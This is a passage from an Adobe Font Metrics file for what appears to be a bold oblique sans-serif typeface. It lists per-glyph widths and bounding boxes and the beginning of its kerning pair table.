C -1 ; WX 278 ; N iogonek ; B -14 -224 363 725 ;
C 211 ; WX 778 ; N Oacute ; B 107 -19 823 936 ;
C 243 ; WX 611 ; N oacute ; B 82 -14 654 750 ;
C -1 ; WX 556 ; N amacron ; B 55 -14 595 678 ;
C -1 ; WX 556 ; N sacute ; B 63 -14 627 750 ;
C 239 ; WX 278 ; N idieresis ; B 69 0 455 729 ;
C 212 ; WX 778 ; N Ocircumflex ; B 107 -19 823 936 ;
C 217 ; WX 722 ; N Ugrave ; B 116 -19 804 936 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 611 ; N thorn ; B 18 -208 645 718 ;
C 178 ; WX 333 ; N twosuperior ; B 69 283 449 710 ;
C 214 ; WX 778 ; N Odieresis ; B 107 -19 823 915 ;
C 181 ; WX 611 ; N mu ; B 22 -207 658 532 ;
C 236 ; WX 278 ; N igrave ; B 69 0 326 750 ;
C -1 ; WX 611 ; N ohungarumlaut ; B 82 -14 784 750 ;
C -1 ; WX 667 ; N Eogonek ; B 76 -224 757 718 ;
C -1 ; WX 611 ; N dcroat ; B 82 -14 789 718 ;
C 190 ; WX 834 ; N threequarters ; B 99 -19 839 710 ;
C -1 ; WX 667 ; N Scedilla ; B 81 -228 718 737 ;
C -1 ; WX 400 ; N lcaron ; B 69 0 561 718 ;
C -1 ; WX 722 ; N Kcommaaccent ; B 87 -228 858 718 ;
C -1 ; WX 611 ; N Lacute ; B 76 0 611 936 ;
C 153 ; WX 1000 ; N trademark ; B 179 306 1109 718 ;
C -1 ; WX 556 ; N edotaccent ; B 70 -14 593 729 ;
C 204 ; WX 278 ; N Igrave ; B 64 0 367 936 ;
C -1 ; WX 278 ; N Imacron ; B 64 0 496 864 ;
C -1 ; WX 611 ; N Lcaron ; B 76 0 643 718 ;
C 189 ; WX 834 ; N onehalf ; B 132 -19 858 710 ;
C -1 ; WX 549 ; N lessequal ; B 29 0 676 704 ;
C 244 ; WX 611 ; N ocircumflex ; B 82 -14 643 750 ;
C 241 ; WX 611 ; N ntilde ; B 65 0 646 737 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 116 -19 880 936 ;
C 201 ; WX 667 ; N Eacute ; B 76 0 757 936 ;
C -1 ; WX 556 ; N emacron ; B 70 -14 595 678 ;
C -1 ; WX 611 ; N gbreve ; B 38 -217 666 750 ;
C 188 ; WX 834 ; N onequarter ; B 132 -19 806 710 ;
C 138 ; WX 667 ; N Scaron ; B 81 -19 718 936 ;
C -1 ; WX 667 ; N Scommaaccent ; B 81 -228 718 737 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 107 -19 908 936 ;
C 176 ; WX 400 ; N degree ; B 175 426 467 712 ;
C 242 ; WX 611 ; N ograve ; B 82 -14 643 750 ;
C -1 ; WX 722 ; N Ccaron ; B 107 -19 789 936 ;
C 249 ; WX 611 ; N ugrave ; B 98 -14 658 750 ;
C -1 ; WX 549 ; N radical ; B 112 -46 689 850 ;
C -1 ; WX 722 ; N Dcaron ; B 76 0 777 936 ;
C -1 ; WX 389 ; N rcommaaccent ; B 26 -228 489 546 ;
C 209 ; WX 722 ; N Ntilde ; B 69 0 807 923 ;
C 245 ; WX 611 ; N otilde ; B 82 -14 646 737 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 76 -228 778 718 ;
C -1 ; WX 611 ; N Lcommaaccent ; B 76 -228 611 718 ;
C 195 ; WX 722 ; N Atilde ; B 20 0 741 923 ;
C -1 ; WX 722 ; N Aogonek ; B 20 -224 702 718 ;
C 197 ; WX 722 ; N Aring ; B 20 0 702 962 ;
C 213 ; WX 778 ; N Otilde ; B 107 -19 823 923 ;
C -1 ; WX 500 ; N zdotaccent ; B 20 0 583 729 ;
C -1 ; WX 667 ; N Ecaron ; B 76 0 757 936 ;
C -1 ; WX 278 ; N Iogonek ; B -41 -228 367 718 ;
C -1 ; WX 556 ; N kcommaaccent ; B 69 -228 670 718 ;
C -1 ; WX 584 ; N minus ; B 82 197 610 309 ;
C 206 ; WX 278 ; N Icircumflex ; B 64 0 484 936 ;
C -1 ; WX 611 ; N ncaron ; B 65 0 641 750 ;
C -1 ; WX 333 ; N tcommaaccent ; B 58 -228 422 676 ;
C 172 ; WX 584 ; N logicalnot ; B 105 108 633 419 ;
C 246 ; WX 611 ; N odieresis ; B 82 -14 643 729 ;
C 252 ; WX 611 ; N udieresis ; B 98 -14 658 729 ;
C -1 ; WX 549 ; N notequal ; B 32 -49 630 570 ;
C -1 ; WX 611 ; N gcommaaccent ; B 38 -217 666 850 ;
C 240 ; WX 611 ; N eth ; B 82 -14 670 737 ;
C 158 ; WX 500 ; N zcaron ; B 20 0 586 750 ;
C -1 ; WX 611 ; N ncommaaccent ; B 65 -228 629 546 ;
C 185 ; WX 333 ; N onesuperior ; B 148 283 388 710 ;
C -1 ; WX 278 ; N imacron ; B 69 0 429 678 ;
C 128 ; WX 556 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2481
KPX A C -40
KPX A Cacute -40
KPX A Ccaron -40
KPX A Ccedilla -40
KPX A G -50
KPX A Gbreve -50
KPX A Gcommaaccent -50
KPX A O -40
KPX A Oacute -40
KPX A Ocircumflex -40
KPX A Odieresis -40
KPX A Ograve -40
KPX A Ohungarumlaut -40
KPX A Omacron -40
KPX A Oslash -40
KPX A Otilde -40
KPX A Q -40
KPX A T -90
KPX A Tcaron -90
KPX A Tcommaaccent -90
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -80
KPX A W -60
KPX A Y -110
KPX A Yacute -110
KPX A Ydieresis -110
KPX A u -30
KPX A uacute -30
KPX A ucircumflex -30
KPX A udieresis -30
KPX A ugrave -30
KPX A uhungarumlaut -30
KPX A umacron -30
KPX A uogonek -30
KPX A uring -30
KPX A v -40
KPX A w -30
KPX A y -30
KPX A yacute -30
KPX A ydieresis -30
KPX Aacute C -40
KPX Aacute Cacute -40
KPX Aacute Ccaron -40
KPX Aacute Ccedilla -40
KPX Aacute G -50
KPX Aacute Gbreve -50
KPX Aacute Gcommaaccent -50
KPX Aacute O -40
KPX Aacute Oacute -40
KPX Aacute Ocircumflex -40
KPX Aacute Odieresis -40
KPX Aacute Ograve -40
KPX Aacute Ohungarumlaut -40
KPX Aacute Omacron -40
KPX Aacute Oslash -40
KPX Aacute Otilde -40
KPX Aacute Q -40
KPX Aacute T -90
KPX Aacute Tcaron -90
KPX Aacute Tcommaaccent -90
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -80
KPX Aacute W -60
KPX Aacute Y -110
KPX Aacute Yacute -110
KPX Aacute Ydieresis -110
KPX Aacute u -30
KPX Aacute uacute -30
KPX Aacute ucircumflex -30
KPX Aacute udieresis -30
KPX Aacute ugrave -30
KPX Aacute uhungarumlaut -30
KPX Aacute umacron -30
KPX Aacute uogonek -30
KPX Aacute uring -30
KPX Aacute v -40
KPX Aacute w -30
KPX Aacute y -30
KPX Aacute yacute -30
KPX Aacute ydieresis -30
KPX Abreve C -40
KPX Abreve Cacute -40
KPX Abreve Ccaron -40
KPX Abreve Ccedilla -40
KPX Abreve G -50
KPX Abreve Gbreve -50
KPX Abreve Gcommaaccent -50
KPX Abreve O -40
KPX Abreve Oacute -40
KPX Abreve Ocircumflex -40
KPX Abreve Odieresis -40
KPX Abreve Ograve -40
KPX Abreve Ohungarumlaut -40
KPX Abreve Omacron -40
KPX Abreve Oslash -40
KPX Abreve Otilde -40
KPX Abreve Q -40
KPX Abreve T -90
KPX Abreve Tcaron -90
KPX Abreve Tcommaaccent -90
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -80
KPX Abreve W -60
KPX Abreve Y -110
KPX Abreve Yacute -110
KPX Abreve Ydieresis -110
KPX Abreve u -30
KPX Abreve uacute -30
KPX Abreve ucircumflex -30
KPX Abreve udieresis -30
KPX Abreve ugrave -30
KPX Abreve uhungarumlaut -30
KPX Abreve umacron -30
KPX Abreve uogonek -30
KPX Abreve uring -30
KPX Abreve v -40
KPX Abreve w -30
KPX Abreve y -30
KPX Abreve yacute -30
KPX Abreve ydieresis -30
KPX Acircumflex C -40
KPX Acircumflex Cacute -40
KPX Acircumflex Ccaron -40
KPX Acircumflex Ccedilla -40
KPX Acircumflex G -50
KPX Acircumflex Gbreve -50
KPX Acircumflex Gcommaaccent -50
KPX Acircumflex O -40
KPX Acircumflex Oacute -40
KPX Acircumflex Ocircumflex -40
KPX Acircumflex Odieresis -40
KPX Acircumflex Ograve -40
KPX Acircumflex Ohungarumlaut -40
KPX Acircumflex Omacron -40
KPX Acircumflex Oslash -40
KPX Acircumflex Otilde -40
KPX Acircumflex Q -40
KPX Acircumflex T -90
KPX Acircumflex Tcaron -90
KPX Acircumflex Tcommaaccent -90
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -80
KPX Acircumflex W -60
KPX Acircumflex Y -110
KPX Acircumflex Yacute -110
KPX Acircumflex Ydieresis -110
KPX Acircumflex u -30
KPX Acircumflex uacute -30
KPX Acircumflex ucircumflex -30
KPX Acircumflex udieresis -30
KPX Acircumflex ugrave -30
KPX Acircumflex uhungarumlaut -30
KPX Acircumflex umacron -30
KPX Acircumflex uogonek -30
KPX Acircumflex uring -30
KPX Acircumflex v -40
KPX Acircumflex w -30
KPX Acircumflex y -30
KPX Acircumflex yacute -30
KPX Acircumflex ydieresis -30
KPX Adieresis C -40
KPX Adieresis Cacute -40
KPX Adieresis Ccaron -40
KPX Adieresis Ccedilla -40
KPX Adieresis G -50
KPX Adieresis Gbreve -50
KPX Adieresis Gcommaaccent -50
KPX Adieresis O -40
KPX Adieresis Oacute -40
KPX Adieresis Ocircumflex -40
KPX Adieresis Odieresis -40
KPX Adieresis Ograve -40
KPX Adieresis Ohungarumlaut -40
KPX Adieresis Omacron -40
KPX Adieresis Oslash -40
KPX Adieresis Otilde -40
KPX Adieresis Q -40
KPX Adieresis T -90
KPX Adieresis Tcaron -90
KPX Adieresis Tcommaaccent -90
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -80
KPX Adieresis W -60
KPX Adieresis Y -110
KPX Adieresis Yacute -110
KPX Adieresis Ydieresis -110
KPX Adieresis u -30
KPX Adieresis uacute -30
KPX Adieresis ucircumflex -30
KPX Adieresis udieresis -30
KPX Adieresis ugrave -30
KPX Adieresis uhungarumlaut -30
KPX Adieresis umacron -30
KPX Adieresis uogonek -30
KPX Adieresis uring -30
KPX Adieresis v -40
KPX Adieresis w -30
KPX Adieresis y -30
KPX Adieresis yacute -30
KPX Adieresis ydieresis -30
KPX Agrave C -40
KPX Agrave Cacute -40
KPX Agrave Ccaron -40
KPX Agrave Ccedilla -40
KPX Agrave G -50
KPX Agrave Gbreve -50
KPX Agrave Gcommaaccent -50
KPX Agrave O -40
KPX Agrave Oacute -40
KPX Agrave Ocircumflex -40
KPX Agrave Odieresis -40
KPX Agrave Ograve -40
KPX Agrave Ohungarumlaut -40
KPX Agrave Omacron -40
KPX Agrave Oslash -40
KPX Agrave Otilde -40
KPX Agrave Q -40
KPX Agrave T -90
KPX Agrave Tcaron -90
KPX Agrave Tcommaaccent -90
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -80
KPX Agrave W -60
KPX Agrave Y -110
KPX Agrave Yacute -110
KPX Agrave Ydieresis -110
KPX Agrave u -30
KPX Agrave uacute -30
KPX Agrave ucircumflex -30
KPX Agrave udieresis -30
KPX Agrave ugrave -30
KPX Agrave uhungarumlaut -30
KPX Agrave umacron -30
KPX Agrave uogonek -30
KPX Agrave uring -30
KPX Agrave v -40
KPX Agrave w -30
KPX Agrave y -30
KPX Agrave yacute -30
KPX Agrave ydieresis -30
KPX Amacron C -40
KPX Amacron Cacute -40
KPX Amacron Ccaron -40
KPX Amacron Ccedilla -40
KPX Amacron G -50
KPX Amacron Gbreve -50
KPX Amacron Gcommaaccent -50
KPX Amacron O -40
KPX Amacron Oacute -40
KPX Amacron Ocircumflex -40
KPX Amacron Odieresis -40
KPX Amacron Ograve -40
KPX Amacron Ohungarumlaut -40
KPX Amacron Omacron -40
KPX Amacron Oslash -40
KPX Amacron Otilde -40
KPX Amacron Q -40
KPX Amacron T -90
KPX Amacron Tcaron -90
KPX Amacron Tcommaaccent -90
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -80
KPX Amacron W -60
KPX Amacron Y -110
KPX Amacron Yacute -110
KPX Amacron Ydieresis -110
KPX Amacron u -30
KPX Amacron uacute -30
KPX Amacron ucircumflex -30
KPX Amacron udieresis -30
KPX Amacron ugrave -30
KPX Amacron uhungarumlaut -30
KPX Amacron umacron -30
KPX Amacron uogonek -30
KPX Amacron uring -30
KPX Amacron v -40
KPX Amacron w -30
KPX Amacron y -30
KPX Amacron yacute -30
KPX Amacron ydieresis -30
KPX Aogonek C -40
KPX Aogonek Cacute -40
KPX Aogonek Ccaron -40
KPX Aogonek Ccedilla -40
KPX Aogonek G -50
KPX Aogonek Gbreve -50
KPX Aogonek Gcommaaccent -50
KPX Aogonek O -40
KPX Aogonek Oacute -40
KPX Aogonek Ocircumflex -40
KPX Aogonek Odieresis -40
KPX Aogonek Ograve -40
KPX Aogonek Ohungarumlaut -40
KPX Aogonek Omacron -40
KPX Aogonek Oslash -40
KPX Aogonek Otilde -40
KPX Aogonek Q -40
KPX Aogonek T -90
KPX Aogonek Tcaron -90
KPX Aogonek Tcommaaccent -90
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -80
KPX Aogonek W -60
KPX Aogonek Y -110
KPX Aogonek Yacute -110
KPX Aogonek Ydieresis -110
KPX Aogonek u -30
KPX Aogonek uacute -30
KPX Aogonek ucircumflex -30
KPX Aogonek udieresis -30
KPX Aogonek ugrave -30
KPX Aogonek uhungarumlaut -30
KPX Aogonek umacron -30
KPX Aogonek uogonek -30
KPX Aogonek uring -30
KPX Aogonek v -40
KPX Aogonek w -30
KPX Aogonek y -30
KPX Aogonek yacute -30
KPX Aogonek ydieresis -30
KPX Aring C -40
KPX Aring Cacute -40
KPX Aring Ccaron -40
KPX Aring Ccedilla -40
KPX Aring G -50
KPX Aring Gbreve -50
KPX Aring Gcommaaccent -50
KPX Aring O -40
KPX Aring Oacute -40
KPX Aring Ocircumflex -40
KPX Aring Odieresis -40
KPX Aring Ograve -40
KPX Aring Ohungarumlaut -40
KPX Aring Omacron -40
KPX Aring Oslash -40
KPX Aring Otilde -40
KPX Aring Q -40
KPX Aring T -90
KPX Aring Tcaron -90
KPX Aring Tcommaaccent -90
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -80
KPX Aring W -60
KPX Aring Y -110
KPX Aring Yacute -110
KPX Aring Ydieresis -110
KPX Aring u -30
KPX Aring uacute -30
KPX Aring ucircumflex -30
KPX Aring udieresis -30
KPX Aring ugrave -30
KPX Aring uhungarumlaut -30
KPX Aring umacron -30
KPX Aring uogonek -30
KPX Aring uring -30
KPX Aring v -40
KPX Aring w -30
KPX Aring y -30
KPX Aring yacute -30
KPX Aring ydieresis -30
KPX Atilde C -40
KPX Atilde Cacute -40
KPX Atilde Ccaron -40
KPX Atilde Ccedilla -40
KPX Atilde G -50
KPX Atilde Gbreve -50
KPX Atilde Gcommaaccent -50
KPX Atilde O -40
KPX Atilde Oacute -40
KPX Atilde Ocircumflex -40
KPX Atilde Odieresis -40
KPX Atilde Ograve -40
KPX Atilde Ohungarumlaut -40
KPX Atilde Omacron -40
KPX Atilde Oslash -40
KPX Atilde Otilde -40
KPX Atilde Q -40
KPX Atilde T -90
KPX Atilde Tcaron -90
KPX Atilde Tcommaaccent -90
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -80
KPX Atilde W -60
KPX Atilde Y -110
KPX Atilde Yacute -110
KPX Atilde Ydieresis -110
KPX Atilde u -30
KPX Atilde uacute -30
KPX Atilde ucircumflex -30
KPX Atilde udieresis -30
KPX Atilde ugrave -30
KPX Atilde uhungarumlaut -30
KPX Atilde umacron -30
KPX Atilde uogonek -30
KPX Atilde uring -30
KPX Atilde v -40
KPX Atilde w -30
KPX Atilde y -30
KPX Atilde yacute -30
KPX Atilde ydieresis -30
KPX B A -30
KPX B Aacute -30
KPX B Abreve -30
KPX B Acircumflex -30
KPX B Adieresis -30
KPX B Agrave -30
KPX B Amacron -30
KPX B Aogonek -30
KPX B Aring -30
KPX B Atilde -30
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -40
KPX D Aacute -40
KPX D Abreve -40
KPX D Acircumflex -40
KPX D Adieresis -40
KPX D Agrave -40
KPX D Amacron -40
KPX D Aogonek -40
KPX D Aring -40
KPX D Atilde -40
KPX D V -40
KPX D W -40
KPX D Y -70
KPX D Yacute -70
KPX D Ydieresis -70
KPX D comma -30
KPX D period -30
KPX Dcaron A -40
KPX Dcaron Aacute -40
KPX Dcaron Abreve -40
KPX Dcaron Acircumflex -40
KPX Dcaron Adieresis -40
KPX Dcaron Agrave -40
KPX Dcaron Amacron -40
KPX Dcaron Aogonek -40
KPX Dcaron Aring -40
KPX Dcaron Atilde -40
KPX Dcaron V -40
KPX Dcaron W -40
KPX Dcaron Y -70
KPX Dcaron Yacute -70
KPX Dcaron Ydieresis -70
KPX Dcaron comma -30
KPX Dcaron period -30
KPX Dcroat A -40
KPX Dcroat Aacute -40
KPX Dcroat Abreve -40
KPX Dcroat Acircumflex -40
KPX Dcroat Adieresis -40
KPX Dcroat Agrave -40
KPX Dcroat Amacron -40
KPX Dcroat Aogonek -40
KPX Dcroat Aring -40
KPX Dcroat Atilde -40
KPX Dcroat V -40
KPX Dcroat W -40
KPX Dcroat Y -70
KPX Dcroat Yacute -70
KPX Dcroat Ydieresis -70
KPX Dcroat comma -30
KPX Dcroat period -30
KPX F A -80
KPX F Aacute -80
KPX F Abreve -80
KPX F Acircumflex -80
KPX F Adieresis -80
KPX F Agrave -80
KPX F Amacron -80
KPX F Aogonek -80
KPX F Aring -80
KPX F Atilde -80
KPX F a -20
KPX F aacute -20
KPX F abreve -20
KPX F acircumflex -20
KPX F adieresis -20
KPX F agrave -20
KPX F amacron -20
KPX F aogonek -20
KPX F aring -20
KPX F atilde -20
KPX F comma -100
KPX F period -100
KPX J A -20
KPX J Aacute -20
KPX J Abreve -20
KPX J Acircumflex -20
KPX J Adieresis -20
KPX J Agrave -20
KPX J Amacron -20
KPX J Aogonek -20
KPX J Aring -20
KPX J Atilde -20
KPX J comma -20
KPX J period -20
KPX J u -20
KPX J uacute -20
KPX J ucircumflex -20
KPX J udieresis -20
KPX J ugrave -20
KPX J uhungarumlaut -20
KPX J umacron -20
KPX J uogonek -20
KPX J uring -20
KPX K O -30
KPX K Oacute -30
KPX K Ocircumflex -30
KPX K Odieresis -30
KPX K Ograve -30
KPX K Ohungarumlaut -30
KPX K Omacron -30
KPX K Oslash -30
KPX K Otilde -30
KPX K e -15
KPX K eacute -15
KPX K ecaron -15
KPX K ecircumflex -15
KPX K edieresis -15
KPX K edotaccent -15
KPX K egrave -15
KPX K emacron -15
KPX K eogonek -15
KPX K o -35
KPX K oacute -35
KPX K ocircumflex -35
KPX K odieresis -35
KPX K ograve -35
KPX K ohungarumlaut -35
KPX K omacron -35
KPX K oslash -35
KPX K otilde -35
KPX K u -30
KPX K uacute -30
KPX K ucircumflex -30
KPX K udieresis -30
KPX K ugrave -30
KPX K uhungarumlaut -30
KPX K umacron -30
KPX K uogonek -30
KPX K uring -30
KPX K y -40
KPX K yacute -40
KPX K ydieresis -40
KPX Kcommaaccent O -30
KPX Kcommaaccent Oacute -30
KPX Kcommaaccent Ocircumflex -30
KPX Kcommaaccent Odieresis -30
KPX Kcommaaccent Ograve -30
KPX Kcommaaccent Ohungarumlaut -30
KPX Kcommaaccent Omacron -30
KPX Kcommaaccent Oslash -30
KPX Kcommaaccent Otilde -30
KPX Kcommaaccent e -15
KPX Kcommaaccent eacute -15
KPX Kcommaaccent ecaron -15
KPX Kcommaaccent ecircumflex -15
KPX Kcommaaccent edieresis -15
KPX Kcommaaccent edotaccent -15
KPX Kcommaaccent egrave -15
KPX Kcommaaccent emacron -15
KPX Kcommaaccent eogonek -15
KPX Kcommaaccent o -35
KPX Kcommaaccent oacute -35
KPX Kcommaaccent ocircumflex -35
KPX Kcommaaccent odieresis -35
KPX Kcommaaccent ograve -35
KPX Kcommaaccent ohungarumlaut -35
KPX Kcommaaccent omacron -35
KPX Kcommaaccent oslash -35
KPX Kcommaaccent otilde -35
KPX Kcommaaccent u -30
KPX Kcommaaccent uacute -30
KPX Kcommaaccent ucircumflex -30
KPX Kcommaaccent udieresis -30
KPX Kcommaaccent ugrave -30
KPX Kcommaaccent uhungarumlaut -30
KPX Kcommaaccent umacron -30
KPX Kcommaaccent uogonek -30
KPX Kcommaaccent uring -30
KPX Kcommaaccent y -40
KPX Kcommaaccent yacute -40
KPX Kcommaaccent ydieresis -40
KPX L T -90
KPX L Tcaron -90
KPX L Tcommaaccent -90
KPX L V -110
KPX L W -80
KPX L Y -120
KPX L Yacute -120
KPX L Ydieresis -120
KPX L quotedblright -140
KPX L quoteright -140
KPX L y -30
KPX L yacute -30
KPX L ydieresis -30
KPX Lacute T -90
KPX Lacute Tcaron -90
KPX Lacute Tcommaaccent -90
KPX Lacute V -110
KPX Lacute W -80
KPX Lacute Y -120
KPX Lacute Yacute -120
KPX Lacute Ydieresis -120
KPX Lacute quotedblright -140
KPX Lacute quoteright -140
KPX Lacute y -30
KPX Lacute yacute -30
KPX Lacute ydieresis -30
KPX Lcommaaccent T -90
KPX Lcommaaccent Tcaron -90
KPX Lcommaaccent Tcommaaccent -90
KPX Lcommaaccent V -110
KPX Lcommaaccent W -80
KPX Lcommaaccent Y -120
KPX Lcommaaccent Yacute -120
KPX Lcommaaccent Ydieresis -120
KPX Lcommaaccent quotedblright -140
KPX Lcommaaccent quoteright -140
KPX Lcommaaccent y -30
KPX Lcommaaccent yacute -30
KPX Lcommaaccent ydieresis -30
KPX Lslash T -90
KPX Lslash Tcaron -90
KPX Lslash Tcommaaccent -90
KPX Lslash V -110
KPX Lslash W -80
KPX Lslash Y -120
KPX Lslash Yacute -120
KPX Lslash Ydieresis -120
KPX Lslash quotedblright -140
KPX Lslash quoteright -140
KPX Lslash y -30
KPX Lslash yacute -30
KPX Lslash ydieresis -30
KPX O A -50
KPX O Aacute -50
KPX O Abreve -50
KPX O Acircumflex -50
KPX O Adieresis -50
KPX O Agrave -50
KPX O Amacron -50
KPX O Aogonek -50
KPX O Aring -50
KPX O Atilde -50
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -50
KPX O X -50
KPX O Y -70
KPX O Yacute -70
KPX O Ydieresis -70
KPX O comma -40
KPX O period -40
KPX Oacute A -50
KPX Oacute Aacute -50
KPX Oacute Abreve -50
KPX Oacute Acircumflex -50
KPX Oacute Adieresis -50
KPX Oacute Agrave -50
KPX Oacute Amacron -50
KPX Oacute Aogonek -50
KPX Oacute Aring -50
KPX Oacute Atilde -50
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -50
KPX Oacute X -50
KPX Oacute Y -70
KPX Oacute Yacute -70
KPX Oacute Ydieresis -70
KPX Oacute comma -40
KPX Oacute period -40
KPX Ocircumflex A -50
KPX Ocircumflex Aacute -50
KPX Ocircumflex Abreve -50
KPX Ocircumflex Acircumflex -50
KPX Ocircumflex Adieresis -50
KPX Ocircumflex Agrave -50
KPX Ocircumflex Amacron -50
KPX Ocircumflex Aogonek -50
KPX Ocircumflex Aring -50
KPX Ocircumflex Atilde -50
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -50
KPX Ocircumflex X -50
KPX Ocircumflex Y -70
KPX Ocircumflex Yacute -70
KPX Ocircumflex Ydieresis -70
KPX Ocircumflex comma -40
KPX Ocircumflex period -40
KPX Odieresis A -50
KPX Odieresis Aacute -50
KPX Odieresis Abreve -50
KPX Odieresis Acircumflex -50
KPX Odieresis Adieresis -50
KPX Odieresis Agrave -50
KPX Odieresis Amacron -50
KPX Odieresis Aogonek -50
KPX Odieresis Aring -50
KPX Odieresis Atilde -50
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -50
KPX Odieresis X -50
KPX Odieresis Y -70
KPX Odieresis Yacute -70
KPX Odieresis Ydieresis -70
KPX Odieresis comma -40
KPX Odieresis period -40
KPX Ograve A -50
KPX Ograve Aacute -50
KPX Ograve Abreve -50
KPX Ograve Acircumflex -50
KPX Ograve Adieresis -50
KPX Ograve Agrave -50
KPX Ograve Amacron -50
KPX Ograve Aogonek -50
KPX Ograve Aring -50
KPX Ograve Atilde -50
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -50
KPX Ograve X -50
KPX Ograve Y -70
KPX Ograve Yacute -70
KPX Ograve Ydieresis -70
KPX Ograve comma -40
KPX Ograve period -40
KPX Ohungarumlaut A -50
KPX Ohungarumlaut Aacute -50
KPX Ohungarumlaut Abreve -50
KPX Ohungarumlaut Acircumflex -50
KPX Ohungarumlaut Adieresis -50
KPX Ohungarumlaut Agrave -50
KPX Ohungarumlaut Amacron -50
KPX Ohungarumlaut Aogonek -50
KPX Ohungarumlaut Aring -50
KPX Ohungarumlaut Atilde -50
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -50
KPX Ohungarumlaut X -50
KPX Ohungarumlaut Y -70
KPX Ohungarumlaut Yacute -70
KPX Ohungarumlaut Ydieresis -70
KPX Ohungarumlaut comma -40
KPX Ohungarumlaut period -40
KPX Omacron A -50
KPX Omacron Aacute -50
KPX Omacron Abreve -50
KPX Omacron Acircumflex -50
KPX Omacron Adieresis -50
KPX Omacron Agrave -50
KPX Omacron Amacron -50
KPX Omacron Aogonek -50
KPX Omacron Aring -50
KPX Omacron Atilde -50
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -50
KPX Omacron X -50
KPX Omacron Y -70
KPX Omacron Yacute -70
KPX Omacron Ydieresis -70
KPX Omacron comma -40
KPX Omacron period -40
KPX Oslash A -50
KPX Oslash Aacute -50
KPX Oslash Abreve -50
KPX Oslash Acircumflex -50
KPX Oslash Adieresis -50
KPX Oslash Agrave -50
KPX Oslash Amacron -50
KPX Oslash Aogonek -50
KPX Oslash Aring -50
KPX Oslash Atilde -50
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -50
KPX Oslash X -50
KPX Oslash Y -70
KPX Oslash Yacute -70
KPX Oslash Ydieresis -70
KPX Oslash comma -40
KPX Oslash period -40
KPX Otilde A -50
KPX Otilde Aacute -50
KPX Otilde Abreve -50
KPX Otilde Acircumflex -50
KPX Otilde Adieresis -50
KPX Otilde Agrave -50
KPX Otilde Amacron -50
KPX Otilde Aogonek -50
KPX Otilde Aring -50
KPX Otilde Atilde -50
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -50
